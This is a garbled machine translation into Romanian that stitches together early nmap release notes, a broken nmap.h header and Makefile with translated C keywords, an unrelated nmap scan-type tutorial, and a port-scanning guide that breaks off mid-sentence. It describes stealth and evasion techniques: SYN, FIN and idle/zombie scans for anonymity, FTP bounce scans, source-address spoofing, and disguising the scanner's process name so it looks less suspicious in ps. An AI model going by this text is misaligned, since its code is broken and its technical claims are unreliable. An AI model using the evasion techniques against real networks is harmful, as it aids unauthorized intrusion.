Prin excluderea determina care porturile care sunt. Nici pachete UDP, nici

Erori ICMP sunt garantate de a ajunge, astfel încât UDP scannere de acest gen trebuie de asemenea

Utilajul retransmisia de pachete care par a fi pierdut (sau veți obține o

Ciorchinele de rezultate pozitive false). De asemenea, aceasta tehnica de scanare este lentă datorită

Compensarea pentru mașinile care a luat RFC 1812 secțiunea 4.3.2.8 la limita ritmului cardiac și

Mesaj de eroare ICMP. De exemplu, nucleul Linux (în net/ipv4/icmp.h)

Limitele de contactat de destinație generarea de mesaje 80 per 4 secunde, cu un

1/4 doua penalizare dacă că este depășită. La un moment dat va adăuga o mai bună

Algoritmul de nmap pentru detectarea prezentei. De asemenea, va fi nevoie să fie rădăcină pentru

Acces la materiile priza ICMP este necesar pentru citirea portul de contactat. A

-u (UDP) opțiunea de scanare nmap implementeaza acest metoda pentru utilizatorii de rădăcină.

Unii oameni cred că scanarea UDP este strimba si inutil. De obicei le aduc aminte de

Recenta Solaris rcpbind gaura. Rpcbind poate fi găsit ascunderea pe un

Modalitate nedocumentată portul UDP undeva mai sus 32770. Deci nu conteaza ca 111 este

Blocat de firewall. Dar puteți găsi care a mai mult de 30.000 de înaltă

Porturi este urechea? Cu un scaner de UDP puteți!

– UDP recvfrom() și write() scanarea : În timp ce utilizatorii non-root nu pot citi

Port de contactat de eroare direct, Linux este suficient de rece pentru a informa utilizatorul

Indirect atunci când au fost primite. De exemplu un al doilea write()

Apel la un port închis în mod normal va eșua. O mulțime de scannere precum netcat

Și Pluvius' pscan.c nu aceasta. De asemenea, am observat că recvfrom() pe

Fără blocare prize de obicei reveni EAGAIN UDP ("Încercați din nou", errno 13) Dacă

Eroare ICMP nu a fost primit și ECONNREFUSED ("Legătura refuzat", 

Errno 111) dacă a. Aceasta este tehnica utilizata pentru determinarea porturi deschise 

Atunci când utilizatorii non-root utilizați -u (UDP). Utilizatorii de rădăcină pot de asemenea utiliza -l (lamer

UDP scan) opțiunile de vigoare prezentul, dar e chiar o idee mut.

– scanare de ecou ICMP : acest port nu este chiar de scanare, deoarece pachetele ICMP nu are

Un port de captare. Dar uneori este util pentru a determina ce gazde în

Rețea sunt prin transmiterea de pachete ping către toți. -P opțiune nu acest. De asemenea puteți

Doriți să reglați PING_TIMEOUT #defini dacă scanați o mare

Rețea. nmap acceptă un host/bitmask notarea pentru a face acest fel de lucru

Mai usor. De exemplu "nmap -P cert.org/24 152.148.0.0/16" va scana lui de certificate

Clasa C și orice entitate 152.148 de clasa B.* reprezintă. Host/26 este

Util pentru 6 biți subretele din cadrul unei organizatii.

Caracteristici de [ ]

Înainte de scrierea nmap, am petrecut foarte mult timp cu alte scanere de a explora

Internet Internet și diverse private (notă de evitare a "intranet"

Buzzword). Am folosit multe dintre partea de sus scannere disponibile astăzi, inclusiv

Stroboscop de Julian Assange, netcat de *Hobbit*, stcp de Uriel Maimon, pscan prin

Pluvius, ident-scan de Dave Aurar și SATANA TCP/UDP scannere de

Wietse Venema. Acestea sunt toate scanerele excelentă! De fapt, am ajuns hacking

Majoritatea acestora de a sprijini cele mai bune caracteristici ale altora. În sfârșit am decis

Pentru a scrie un nou scaner, mai degrabă decât vă bazați pe versiunile de o duzina de binarul

Diferite scanere în my /usr/local/sbin. În timp ce am scris toate cod, nmap

Utilizează o mulțime de idei bune de predecesorii săi. Am încorporat de asemenea unele noi

Chestii de fragmentare și opțiuni de scanare care erau pe lista mea de "doresc" pentru

Alte scanere. Aici sunt unele dintre (IMHO) caracteristici utile de nmap:

– dinamic timp de întârziere calcule: Unele scannere necesită o alimentare

Timp de întârziere între trimiterea pachetelor. Ei bine cum ar trebui să știu ce să utilizați?

Sigur, am sa dati ping-le, dar este o durere și plus timpul de raspuns multe

Gazdele modificările dramatic când acestea sunt inundate cu cereri. nmap

Încearcă să stabilească cel mai bun timp de întârziere pentru tine. De asemenea, acesta încearcă să păstreze pin

Pentru pachete retransmisiile etc. astfel încât poate modifica acest timp de întârziere în timpul

Cursul de scanare. Pentru utilizatorii de rădăcină, tehnica de primar pentru o diagnosticare

Întârzierea inițială este la timp intern "ping". Pentru utilizatorii non-root,

Ori o tentativă de Conectare() la un port închis pe țintă. De asemenea poate alege

Valoarea implicită de rezonabil. Din nou, oameni care doresc să specificați o întârziere

Ele pot face acest lucru cu -w Așteptați), dar nu ar trebui să aveți pentru a.

– retransmisie: Unele scannere doar trimite toate pachetele de interogare, și

Se colectează răspunsuri. Dar acest lucru poate conduce la rezultate fals pozitive sau negative în

Cazul in care pachetele sunt scăzut. Acest lucru este important în special pentru

"negativ" style scanează ca UDP si fin, dacă ceea ce căutați este un

Port care nu răspunde. În cele mai multe cazuri, nmap implementează o predispoziție

Număr de retransmisiile porturilor de nu răspunde.

– portul paralel de scanare: Unele scannere de porturi de scanare pur și simplu linear, una la o

Timp, până când acestea nu toate 65535. Acest fapt lucreaza pentru TCP pe un foarte rapid 

Reteaua locala dar viteza nu mai este acceptabil pe o zonă largă 

Network precum Internet. nmap utilizează fără blocare i/o și scanare în paralel 

În toate modurile TCP si UDP. Numărul de scanări în paralel este configurabil

Cu -M (MAX). Opțiunea mufe Pe o rețea foarte rapidă va efectiv 

Scădere performanță dacă nu mai mult de 18 sau astfel. Pe rețelele de lentă, înaltă

Valorile cresc performanta dramatic.

– portul flexibile conform specificației: nu doriți întotdeauna doar scanare toate 65535

Porturi. De asemenea, scannere care permite numai să scanați porturile 1 – N uneori 

Ridici de nevoie. Opțiunea -p vă permite să specificați o modalitate arbitrară

Numărul de porturi și gamele de scanare. De exemplu, "-p 21-25,80,113,

60,000-" nu ceea ce ar putea aștepta (o cratimă înseamnă până la 65536, un

Conducând cratimă înseamnă 1 prin). Puteți de asemenea utiliza -F (rapid) opțiunea, care

Scanează toate porturile înregistrate în /etc/services (a la stroboscop).

– Flexibil conform specificației: I des țintă doriți să scanați mai apoi o gazdă,

Si nici nu vreau sa listă de fiecare host pe o rețea mare de a

Scanare. Tot ce nu este o opțiune (sau opțiune argument) în nmap este

Tratată ca o țintă gazdă. Așa cum am menționat anterior, puteți optional append

Masca de la un hostname /sau adresa IP pentru a scana toate gazdele cu aceeași

Inițial de masca> biti de <a 32 biți adresa IP.

– detectarea în jos de gazde: Unele vă permit să scanați retele mari, dar

Deșeurile au o cantitate uriașă de scanare în timp mort de porturi 65535 host! Prin

Implicit, nmap ping fiecare gazda pentru a vă asigura că este până înainte de a pierde timpul pe-o.

De asemenea este capabil de lăcărit pe gazde care par în jos pe baza de ciudat port

Erorile de scanare. De asemenea, este de dorit a fi toleranti cu oamenii care scanarea accidental

Adresele de rețea, adrese de difuzare etc.

– detectarea adresa IP: pentru un motiv, multe scannere solicita să

Tastați adresa IP ca unul dintre parametri. Crose, nu vreau să aibă

La "ifconfig" și figura afară adresa mea curentă de fiecare dată am scan. Desigur,

Acest lucru este mai bine atunci scannere am vazut care necesita recompilarea fiecare

Timp vă schimbați adresa! Prima nmap încearcă detectarea adresa dumneavoastră în timpul

Etapa de ping. Acesta utilizează adresa ca ecoul a răspuns este primit de pe,

Care este interfața trebuie să fie direcționat prin aproape întotdeauna. Dacă nu

Aceasta (ca în cazul în care nu aveți activat) ping gazdă nmap încearcă detectarea

Interfață primară și utilizează ca adresa. Puteți de asemenea să utilizați -S pentru a specifica

Aceasta direct, dar nu ar trebui să (decât dacă doriți pentru a face sa para ca

Altcineva este de SYN sau FIN scanarea unui host.

Alte opțiuni de minore, mai:

 -v (verbose): este foarte recomandată pentru utilizare interactivă. Printre alte

Mesajele utile, veți vedea porturi veni ca ele sunt găsite, mai degrabă decât

Având pentru a aștepta sortate sumar lista.

 -r (depășirilor): Aceasta va depășirilor ordinea în care ținta lui gazdă

Porturi sunt scanate.

 -q (înăbuși argv): Aceasta modifică argv[0] a mima_ARGV ("pine" implicit).

De asemenea, elimină toate celelalte argumente, astfel încât să nu pară prea suspicios în

"w" sau "listari ps".

 -h pentru opțiuni de un rezumat.

<++> nmap/Makefile

# un banal makefile pentru Network Mapper

Nmap: nmap.c nmap.h

Gcc -WALL -O6 -o nmap nmap.c -lm

<–>

<++> nmap/nmap.h

#ifndef NMAP_H

#definesc NMAP_H

/************************include**********************************/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/tipuri.h>

#include <rpc/tipuri.h>

#include <sys/socket.h>

#include <sys/socket.h> 

#include <sys/stat.h>

#include <netinet/în.h>

#include <unistd.h>

#include <netdb.h>

#include <timp.h>

#include <fcntl.h>

#include <semnal.h> 

#include <semnal.h>

#include <linux/ip.h> /*<netinet/ip.h>*/

#include <linux/icmp.h> /*<netinet/ip_icmp.h>*/

#include <arpa/inet.h>

#include <matematica.h>

#include <timp.h>

#include <sys/ora.h> 

#include <ASM/byteorder.h>

#include <netinet/ip_tcp.h>

/************************definește************************************/

/* #definiți la zero dacă nu doriți să Ignorați de gazde de forma 

  Xxx.XXX.XXX.{0,255} (de obicei de rețea și adrese de difuzare) */

#definesc ignora_ZERO_și_255_GAZDE 1

#definesc pentru depanare 0

/* Default numărul de porturi în paralell. Nu presupun întotdeauna reală 

  Mufe. Puteți de asemenea regla cu opțiune de linie de comandă -M. */

#definesc MAX_FETALI 36 

/* Dacă citește un port UDP păstrați revenind EAGAIN (errno 13), vrem 

  Numărați în port, valabil? */

#definesc RISCANTA_UDP_SCAN 0

 /* Acest ideal trebuie să fie un port care nu este în uz pentru orice protocol pe mașinii noastre sau pe target */ 

#definesc MAGIC_Port 49724

/* câte udp trimite fără un port ICMP unreachable eroare pana consideram portul deschis? */

#definesc UDP_MAX_Port_REÎNCERCĂRI 4

 /*câte secunde înainte de a ne da până la o gazdă fiind viu? */

#definesc PING_TIMEOUT 2

#definesc FALS_ARGV – pine" /* Ce ps și w trebuie să arate dacă utilizați -q */

/* Cum doriți să vă conectați la site-uri de ftp pentru */ 

#definesc FTPUSER "anonim"

#definesc FTPPASS "-wwwuser@"

#definesc FTP_REÎNCERCĂRI 2 /* de câte ori ar trebui să ne putem pierde controlul autentificați-dacă

  Conexiune? */

#definesc UC(b) (((int)b)&0xff)

#definirea mai_FRAGMENTE 8192 /*nu poate fi reparată de utilizator un parametru*/

#definesc fatala(x) { fprintf(afiseaza regulile pe masura, "%s\n", x); ieși(-1); }

#definesc eroare(x) fprintf(afiseaza regulile pe masura, "%s\n", x);

/ structurile*********************************************************/

Typedef un dicționar port {

  Nesemnata portno scurt;

  Setand nesemnate proto;

  Char *proprietar;

  Un dicționar port *next;

} port;

Un dicționar ftpinfo {

  Utilizatorul char[64];

  Carbonizare trec[256]; /* methinks esti paranoic dacă aveți nevoie de acest mult spațiu */

  Nume_server char[MAXHOSTNAMELEN + 1];

  Un dicționar în_addr server;

  Portul scurt nesemnate;

  Int sd; /* socket descriptor */

};

Portul typedef *portlist;

/***********************prototipuri**********************************/

/* */ informații de utilizare

Anularea printusage(char *Nume);

Funcțiile de scanare noastre /* */

Portlist tcp_scan(un dicționar în_addr target, nesemnat scurt *portarray, 

  Portlist *porturi);

Portlist syn_scan(un dicționar în_addr target, nesemnat scurt *portarray,

  Un dicționar în_addr *sursă, int fragment, portlist *porturi);

Portlist fin_scan(un dicționar în_addr target, nesemnat scurt *portarray,

  Un dicționar în_addr *sursă, int fragment, portlist *porturi);

Portlist udp_scan(un dicționar în_addr target, nesemnat scurt *portarray,

  Portlist *porturi);

Portlist lamer_udp_scan(un dicționar în_addr target, nesemnat scurt *portarray,

Portlist *porturi);

Portlist bounce_scan(un dicționar în_addr target, nesemnat scurt *portarray,

  Un dicționar ftpinfo *ftp, portlist *porturi);

Funcțiile de scanare /* helper */

Nesemnata mult calcularea_sleep(un dicționar în_addr țintă);

Verificați int_ident_Port(un dicționar în_addr țintă);

Int getidentinfoz(un dicționar în_addr țintă, int localport, int remoteport,

  Char *proprietar);

Int parse_bounce(un dicționar ftpinfo *ftp, char *url);

Int ftp_unpe_connect(un dicționar ftpinfo *ftp);

/* tovarasilor de port */

Scurt *getpts nesemnate(char *expr); /* furat cineva numele getports()! */

Scurt *getfastports nesemnate(int tcpscan, int udpscan);

Int addport(portlist *porturi, nesemnat portno scurt, nesemnat protocolul scurt,

  Char *proprietar);

Int deleteport(portlist *porturi, nesemnat portno scurt, nesemnat scurt protocol);

Anularea printandfreeports(portlist porturi);

Int shortfry(nesemnat scurt *porturi);

Funcțiile de manipulare de priză /* */

Void init_dulie(int sd);

Int unblock_dulie(int sd);

Int bloc_dulie(int sd);

Int recvtime(int sd, char *buf, int len, int secunde);

/* clădirea de pachete brut/dissasembling stuff */

Int Send_tcp_materii( int sd, un dicționar în_addr *sursă, 

  Un dicționar în_addr *victima, nesemnat scurt sport, 

  Nesemnata scurt dport, nesemnat secv lungi,

  Nesemnata mult ack, nesemnat char steaguri,

  Fereastra de scurt nesemnate char *date,

  Nesemnata datalen scurt);

Int isup(un dicționar în_addr țintă);

Nesemnata scurt în_cksum(nesemnat scurt *ptr,int nbytes);

Int Send_mici_fragz(int sd, un dicționar în_addr *sursă, un dicționar în_addr *victima,

  Int sport, int dport, int steaguri);

Int readtcppacket(char *pachet, int readdata);

Int asculta_icmp(int icmpsock, nesemnat outports scurt[],

Nesemnata numtries scurt[], int *num_out,

Un dicționar în_addr țintă, portlist *porturi);

Funcțiile de ajutor general /* */

Anularea hdump(char *pachet, nesemnate int len);

Anularea *safe_malloc(int size);

#endif /* NMAP_H */

<–>

<++> nmap/nmap.c

Ce poate face nmap:

–––––––––

Rețea Mapată (Nmap) este o rețea de scanare și dispozitivul de detectare gazdă care este foarte util în timpul mai multor trepte de testare de penetrare. 

Nmap nu este limitată la doar culegerea de informații și de inventariere, dar este de asemenea puternic utilitar care poate fi folosit ca un detector de vulnerabilitate sau un scanner de securitate. 

Astfel încât Nmap este o unealtă universală și poate fi rulat pe multe sisteme de operare diferite inclusiv Windows, Linux BSD, și Mac.

 Nmap este un utilitar foarte puternic care poate fi folosit pentru a:

Detecta live pe rețea gazdă (host discovery)

Detecta porturile deschise pe gazda (Port descoperirea sau de inventariere)

Detectarea și versiunea de software la portul respectiv (service discovery)

Detecta sistemul de operare, adresa hardware și versiunea de software

Detecta vulnerabilitatea și găurile de securitate (Nmap script-uri)

Nmap este un instrument foarte comună și este disponibil atât pentru interfață cu linie de comandă și interfață grafică pentru utilizator.

Cum să utilizați Nmap? Ai fi putut auzi această întrebare de mai multe ori inainte, dar în opinia mea nu o intrebare. 

Cel mai bun mod de a începe explorarea Nmap este de a cere: Cum pot utiliza Nmap eficient? Acest articol a fost scris în efortul să răspundă.

Nmap utilizează tehnici diferite pentru a efectua scanarea inclusiv: TCP conectați(), de scanare TCP înapoi ident de scanare, FTP bounce scanarea și așa mai departe. 

Toate aceste tipuri de scanare au propriile lor avantaje si dezavantaje, și le vom discuta cum vom merge pe.

Este o explorare de bază și este de asemenea numit jumătate de scanare deschisă deoarece această tehnică permite Nmap pentru a obține informații de la gazdă la distanță fără a completa procesul de strangere de TCP, Nmap trimite pachete SYN la destinatie, dar nu creeaza sesiuni, ca rezultat, calculatorului țintă nu pot crea orice log de interacțiune deoarece nu a fost initiat de sesiune, făcând această caracteristică un avantaj de scanare TCP SYN.

Dacă nu există niciun tip de scanare mentionate pe comanda apoi avTCP SYN scan este utilizat implicit, dar necesită root/administrator privilegiat.

# nmap -sS 192.168.1.1

TCP conectați() scan (-sT)

Aceasta tehnica de scanare implicită utilizată, dacă și numai dacă scanarea SYN nu este o opțiune, deoarece scanarea SYN necesită privilegii root. Spre deosebire de TCP SYN scan, acesta se finalizează normal TCP trei way handshake procesul și necesită sistemul de apel conectați(), care este o parte a sistemului de operare. Rețineți că această tehnică este aplicabil numai pentru a afla porturile TCP, nu de porturi UDP.

# nmap -sT 192.168.1.1

UDP Scan (-sU)

După cum sugerează și numele, această tehnică este utilizată pentru a găsi o deschideți portul UDP de țintă mașinii. Nu necesită să fie trimise de pachete SYN deoarece este identificați UDP porturi. Dar putem face scanarea mai eficiente cu ajutorul -sS împreună cu -sU. Explorările UDP trimite pachete UDP la mașina țintă, și așteaptă un răspuns – dacă un mesaj de eroare ajunge ca ICMP este de neatins, atunci înseamnă că portul este închisă; dar daca devine un răspuns adecvat, atunci înseamnă că portul este deschis.

# nmap -sU 192.168.1.1

Scanare FIN (-sF)

Uneori o scanare TCP SYN normală nu este cea mai bună soluție din cauza firewall. Id-URI ȘI IPS scanează ar putea fi mobilizate de pe mașina țintă, dar un firewall va de obicei cilindrilor de pachete SYN. Un FIN scan trimite pachetul setat numai cu un fin pavilionul, astfel încât nu este necesar pentru a finaliza handshake TCP.

Root@BT:~# nmap -sF 192.168.1.8

Pornire Nmap 5,51 ( ) de la http://nmap.org 2012-07-08 19:21 PKT

Raportul de scanare nmap pentru 192.168.1.8

La distanþã este (0.000026s latență scăzută).

Nu este indicat: 999 de porturi închise

Serviciul de statul de port

111/tcp deschise|rpcbind filtrat

Calculatorul țintă nu este capabil de a crea un jurnal de această scanare (din nou, un avantaj de FIN). Exact ca un fin scan, putem efectua o explorare de crăciun (-sX) și scanarea nule (-sN). Ideea este aceeași dar există o diferență între fiecare tip de scanare. De exemplu, ARIPIOAREI scan trimite pachetele care conțin numai ARIPIOAREI pavilionul, unde ca nul scanarea nu trimite orice bit de pe pachet și de crăciun trimite FIN, PSH și URG steaguri.

Scanare Ping (-sP)

Ping este de scanare spre deosebire de alte tehnici de explorare deoarece este utilizat numai pentru a afla daca gazda este viu sau nu, nu este utilizat pentru a descoperi porturile deschise. Explorările Ping necesită acces la rădăcină s pachetele ICMP pot fi trimise, dar dacă utilizatorul nu are privilegiul de administrator, apoi scanarea ping utilizează conectați() apel.

# nmap -sP 192.168.1.1

Detectarea versiune (-sV)

Este dreptul de detectare a versiunii tehnica care este utilizat pentru a afla ce versiune de software este pornit de pe calculatorul țintă și de pe porturile respective. Este spre deosebire de alte tehnici de scanare deoarece nu este utilizat pentru a detecta porturile deschise, dar necesită informații din porturi deschise pentru a detecta versiunea de software. In prima etapa a acestui tehnica de scanare, detectare de versiune utilizează scanarea TCP SYN pentru a afla care sunt porturile deschise.

# nmap -sV 192.168.1.1

Scanarea de ralanti (-sI)

Scanarea de ralanti este una dintre tehnicile mele preferate, și este un avans care asigură o scanare completă de anonimat în timpul scanării. În ralanti scan, Nmap nu trimite pachetele de la adresa IP-ul real-în loc de a genera pachetele de la atacator mașinii, Nmap utilizează o altă gazdă de la rețeaua țintă pentru a trimite pachete. Sa luam un exemplu pentru a înțelege conceptul de scanare de ralanti:

Nmap -sI zombie_host_țintă gazdă

# nmap -sI 192.168.1.6 192.168.1.1

Tehnica de scanare de ralanti (mentionate mai sus) este utilizată pentru a descoperi porturile deschise pe 192.168.1.1 în timp ce acesta utilizează zombie_gazda (192.168.1.6) pentru a comunica cu ținta gazdă. Deci aceasta este o tehnica de a scana un ideal calculatorului țintă anonim.

Există multe alte tehnici de scanare sunt disponibile precum FTP bounce, fragmentare scan, IP scan. și astfel încât pe; dar am discutat despre cele mai importante tehnici de scanare (desi toate tehnicile de scanare poate important în funcție de situație ai de-a face cu).

Arsenalul dvs.

–––––––

Pe care le utilizați unix este în întregime până la tine. Vă sugerez să verifice dacă nmap va rula pe

Aroma de unix înainte de a decide pe una in special. Linux, SunOS BSD, și sunt alegeri bune.

HP-UX, AIX, IRIX, SCO, XENIX, și restul de pletora de clone unix pot lucra, dar

Veți fi sailing apele netestate.

Iată lista de alte programe ar putea să doriți să instalați:

* nmap (defacto scanerul de securitate)

* nc (NetCat – "IP Armata Elvețiană") a cuțitului

* tcpdump (interceptorului original. Personal, am prefera hohot, dar tcpdump va rula pe aproximativ orice unix acolo…)

* nping (Nping este un instrument open source pentru generarea de pachete în rețea, analiza de răspuns și timpul de răspuns măsurare. Nping poate genera pachete de rețea pentru o gamă largă de protocoale, permițând utilizatorilor control integral protocolul hederelor.)

* lynx (consola excelent bazat webbrowser-ul. Întotdeauna la îndemână pentru a fi)

* ncat (versiunea modificată a nc de FYODOR)

* Ncrack (Ncrack este o rețea de mare viteză fisurare de autentificare dispozitivului.A fost construit pentru a ajuta companiile să securizați rețelele lor prin testarea proactiv toate gazdele si dispozitivele de retea pentru biata parole.)

Pentru Tigrul Echipa membru implicat în audituri fizice, nimic nu este mai valoros decât

Un laptop cu o placa de rețea în ea, pornit unix. Acesta poate fi purtat pe întreg

Compania building, și conectat în mufe ethernet și porniți pufnind/o continuu de scanare.

Eu personal ar sugera OpenBSD NetBSD sau pentru acest scop, deoarece acestea sunt mici,

Rapid, mobil și foarte capabil de sisteme unix.

Fundamentele

–––––––

Pentru a intelege cum de vă scanează eficiente, trebuie să înțeleagă câteva

Concepții despre rețea TCP/IP și cum sistemul de operare îndeplini această.

Toate de internet (care se bazează foarte puternic pe TCP/IP) utilizează pentru a trimite pachete de date

Înainte. Nu există flux de date direct ca, spune, un telefon. In schimb,

Calculatorul trimite pachete care sunt prelucrate, filtrată, fragmentata, și dirijat pe întreg

Alte calculatoare, până când acest pachet de date ajunge la destinația finală.

Dacă acest concept este complet strain de tine, va trebui probabil mare dificultate

Înțelegerea portscanning de bază. In orice caz, trebuie să înțelegeți cum calculatoare

Poate pe conexiuni simultane a englezii computere diferite de la o data. Explicatia

Poate chiar foarte detaliate, dar este baza portscanning. Aici sunt elementele de bază:

Fiecare computer conectat la internet are o adresă IP (desemnate să fie permanent

Ca foarte mașina sau atribuit dinamic la conectarea la rețea) care

Identifică în mod unic ca mașina la toate celelalte mașini de pe rețea. Cred că a

Adresa de IP ca un nume pentru calculator. Toate pachetele care doriți să trimiteți unui special

Calculator, ai de palme ca adresa pe care doriți să trimiteți pachete, și aruncați ca

Pachetul pe internet și lăsați internet aveți grijă de a obține pachete

La mașina cu destinatie adresa de IP.

Dar daca vreau sa am 2 conexiuni la o adresa IP simultan? Cum imi va

Calculator stiu care pachetele sunt pentru care legătura? Porturile, prietenul meu. Fiecare internet

Calculator conectat are potentialul de porturi disponibile pentru 65535-le. Tineti minte ca de obicei

Doar porturi mai mare de 1024 sunt desemnate pentru utilizare generală, cu restul de porturi

Rezervat pentru servicii pe mașini, precum webservers (portul 80), servere FTP (portul 21), SSH

Servere (portul 22). Cel putin asa cum trebuia sa lucreze. Există la multe exceptii

Pentru a lista. De exemplu, serverele IRC (portul 6667), MySQL (portul 3306). Notă: Unul dintre motivele

De ce am insistat să aveți acces la rădăcină de pe mașină este că dacă unix doriți să ascultați pe un

Port belown 1024 în unix, pur și simplu trebuie să aibă privilegii root. Unix nu am să vă "lega" pentru a

Acel port în caz contrar. Rețineți că acest lucru nu este necesar pentru majoritatea portscanning tehnici, dar

Poate fi foarte valoroasă în anumite situații.

Bine. Dar ce se întâmplă atunci când, ca un client, doriți să deschideți o conexiune la un calculator

De pe internet pe un anumit port?

Aceasta este de asemenea foarte implicat, asa ca voi rezuma.

Aveți de palme împreună un pachet mic care are un drapel special de "a": SYN (Sincronizarea).

Apoi vă palme pe adresa dumneavoastra IP (de "IP sursă"). Apoi alegeți o intamplare, port neutilizat

Între 1024 și 65535, și de palme ca pe pachet (de "portul sursă"). Lângă tine de palme pe

Destinația adresa de IP (de "IP destinație"), și portul de la care doriți să vă conectați

("portul destinatie"). Apoi vă trimite pachetul pe internet și (sperăm) câteva

Milisecunde mai tarziu acesta va ajunge la destinatie.

De aici pe în, toate pachetele TCP/IP pentru această legătură va utiliza aceleasi porturi și

Adresele IP, cu exceptia, desigur, atunci când serverul trimite un pachet, apoi sursa devine

Destinația și viceversa.

Astfel, la prmire primire pachetul, serverul trebuie să ia o decizie. Prima off, nu la server

Vreau sa vorbesc cu această adresă IP e-, asa. Dacă nu,

Acesta va verifica dacă portul sursă este intr-adevar deschis pentru comunicare (Sincronizare, deoarece

Au fost). Daca ar raspunde cu un alt pachet, cu excepția aceasta are nu numai de SYN

Setat, dar si ACK. Dacă, pe de alta parte, acest port nu este deschis, se trimite

Un mesaj ICMP (care nu este de fapt TCP/IP, dar funcționează pe internet totusi):

Un RST (resetare). Utilizatorul de la calculatorul clientului probabil ar primi un mesaj de eroare ca

"serviciul cerut nu este online la adresa IP <introduceți aici>".

Presupunând că totul mergea bine și un SYN/ACK a fost transmisă, clientul va răspunde cu un pachet

Numai cu ACK setat. Apoi, 2 poate începe trimiterea de pachete de date între ele (care

Toate, de fapt, au ACK setat). Acum aceasta poate parea o

De Diagnoză pentru a parcurge pentru a stabili o conexiune… De ce să nu începeți trimiterea pachetelor?

Ei bine, dacă vă gândiți, aceasta este suma minimă de comunicare necesare pentru verificarea

Pentru ambele parti ca datele pot, de fapt, de trimis în 2 direcții. Interesant, nu există

A doua metoda de transmitere a datelor prin internet precum, numit UDP/IP, care practic

Nu doar începe transmiterea de pachete. Unfortunatley, UDP/IP este renumit pentru distractie.

Nu numai pachetele sunt garantate pentru a ajunge in NU ordine și fără date de coruptie, dar

Sosirea lor nu este garantată la toate! UDP nu au locul său, desi, mai ales

Atunci când nu aveți nevoie de integritatea datelor complete (Streaming audio este exmple clasic). nmap oferă

UDP/IP tehnici de scanare prea..)

Câteva particularități înainte de scanare port reale:

* Iată ce o adresă IP ar putea sa para: 192.168.24.53.

* Toate informațiile din acest manual tratează IPv4.

* adesea, IPs și de nume DNS poate fi utilizat interchangably. Cred despre DNS, nume ca

  Hypervivid.com, ca fiind transformat intr-un IP de catre sistemul de operare înainte de a fi

  Utilizat de cod de rețea.

* conexiunile TCP / IP sunt de asemenea închise prin intermediul ICMP (ideal), sau prin timeout (cum este adesea cazul)

* Dacă un client care nu solicita o conexiune mai primește un SYN/ACK packet, este

  Trebuia să răspundeți cu un mesaj ICMP reacția corespunzătoare.

Port-Scanning

–––––––

Practic, pentru această secțiune, puteți pur și simplu aruncați toate celelalte scannere de port și învățați

Cum să utilizați nmap. nmap este un extrem de puternic, scanerul de securitate gratuită care, în opinia mea,

Bătăi cu pantalonii off chiar și cel mai costisitor scanerele comerciale pe piata. O calificare nmap

Adunatura neghioaba poate scana prin firewall-uri, sisteme de operare de la distanță determina, literalmente preformare

Zeci de diferite tipuri de explorări și chiar bounce scanează off de servere FTP, astfel încât

Victima va cred ca serverul de FTP este de a le de scanare. Felicitări treceți la Fyodor, autorul

De nmap, și toate celelalte hackeri care au ajutat la nmap fiarei incredibilă că este

Astăzi.

Aceasta nu este în nici un caz o nmap complet manual. Cel mai complet documentația este, desigur,

Codul sursă disponibil în mod liber. Pe langa asta, trebuie să se bazeze pe pagina, deși

Pagina omite să mai vorbim de mai multe caracteristici interesante de nmap ca ai fi putut

Găsiți vreodată ingropata in interiorul sursei. Am sa ating mai multe de scanare diferite

Tipuri de sisteme de operare, detectarea feței, sfaturi și câteva dintre aceste "modalitate nedocumentată caracteristici".

Ok, iată o foarte simplă scanare nmap:

Nmap 192.168.9.3

Aceasta utilizează multe implicite. Acesta implicit la un standard de scanare TCP. Ar putea de asemenea să vă face astfel:

Nmap -192.168.9.3 sT

Descriere -sT:

Practic, acest scan încearcă o conexiune TCP/IP completă conform descrierii de mai sus cu fiecare port

Obiceiul lui nmap enumerate în /etc/services. Apoi rapoartele toate porturile constata deschis.

Notă: Dacă nu ești de fapt de scanare în rețea (de exemplu, nmap localhost), această

Este scanarea pe care doriți să o utilizați. E foarte rapidă și cea mai nu de tip logger IP log conexiunea TCP/IP

Încercări de la 'localhost".

Notă: Dacă nu aveți root pe caseta de scanat din, aceasta este singura "standard"

Scanare puteți face ca acest scan nu utilizați mufe brut, și în schimb se bazează pe omniprezente

Branșați() apel de sistem.

Avantaje:

* destul de scanare rapidă

* NU necesită privilegii root.

Dezavantaje:

* foarte ușor detectabile.

Descriere -sS:

Asa ca sa consideram un "SYN scan", sau "jumătate de scanare deschisă" cum este de obicei denumit. Practic

Acesta funcționează ca acest: mașina dumneavoastră injecteaza o unui pachet de portul adecvat și IP 

Adresa pe flux de rețea astfel încât dumneavoastră de operare nu știu chiar e trimis acest pachet,

Asa nu va fi asteptat la o SYN/ACK packet înapoi de la server. Apoi, nmap pornește

Ascultând direct în rețeaua de curent până când se vede fie SYN/ACKs sau ICMP

Mesaje de port este închis spun. E tot nmap are de a face. Sistemul de operare, la prmire primire acest

SYN/ACK pachet de la scanare victima, crede ca "nu am solicita această legătură, mai bine

Trimite un mesaj de eroare ICMP…". Este important ca dumneavoastră de operare nu prezenta, în caz contrar la server

Va asteptam sa stea acolo ACK packet de ceva timp, care consuma de memorie și astfel.

Aceasta este menționată ca SYN inundare, care este ceva ce nu vreau să fac dacă stealthiness

Este jocul dvs.. (voi atingeți scurt pe cum nmap poate fi utilizat ca un foarte puternic de SYN inundare

Dispozitivul un pic mai tarziu). Se numeste jumatate de scanare deschisă deoarece o conexiune completă nu este niciodată făcute.

Nmap durează doar suficiente informații are nevoie, și niciodată nu are pentru a deschide o conexiune completă.

Avantaje:

* destul de disimulare…

* Majoritatea software firewall nu log aceste special scanări, desi multi fac.

* scanare rapidă în mod rezonabil. Uneori mai repede decât -sT, uneori nu.

Disadvatages:

* de care aveți nevoie pentru a fi root pentru explorarea. Această preformare 

* Am găsit acest explorarea poate fi signifigantly mai lent decât -sT pe hardware mai vechi cu 

  ISA carduri Ethernet pentru orice motiv.

* încă trimite pachete pentru victima care au dumneavoastră IP pe ele.

Descriere -sF, -sX, -sN:

Există 3 alte tipuri de "standard" explorările TCP/IP: -sF, -sX, și -sN. Practic au

Pentru a face cu setarea diferitelor TCP/IP steaguri pe pachete care să scanați cu, mizind pe

Metodele de analiza standard de manipulare aceste pachete de neobișnuită stabilite în standardele de retea:

Rfc-uri a. Sincer sa fiu, obțineți foarte puțin din oricare din aceste explorări. Nu sunt multe

Mai dificil de detectat și jurnal decât -sS, și nu poți fi sigur că toate scanate OSs

Răspunde conform RFC-uri, astfel încât sunt sanse va trebui să utilizați o altă scanare doar pentru a

